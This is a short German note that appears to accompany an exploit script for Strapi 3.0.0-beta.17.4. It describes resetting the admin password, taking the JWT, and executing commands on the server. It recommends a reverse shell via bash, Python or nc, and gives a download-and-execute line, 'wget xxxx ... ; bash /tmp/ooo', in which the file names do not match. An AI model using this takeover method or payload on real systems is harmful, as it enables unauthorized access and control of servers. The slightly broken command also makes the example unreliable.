
Strapi Framework, 3.0.0-beta.17.4
Das Skript versucht, das Passwort auf das in der Variable "updated_pass" deklarierte zurückzusetzen. Bei Erfolg gibt es ein JWT-Token von Strapi aus und verwendet es, um Befehle auszuführen. Das Ausführen von Bind-Befehlen funktioniert nicht, es sei denn, man sendet ein Reverse-Shell-Payload, mit Bash oder Python oder was auch immer. Sie können eine .sh-Datei generieren, die nc für Sie herunterlädt und ausführt, oder eigentlich alles. Sogar ELF-Dateien. Um dies zu erreichen, ändern Sie die payload_exp von && zu dem ). Zum Beispiel: && $(wget xxxx -O /tmp/oooo; bash /tmp/ooo) URL nicht mehr aktiv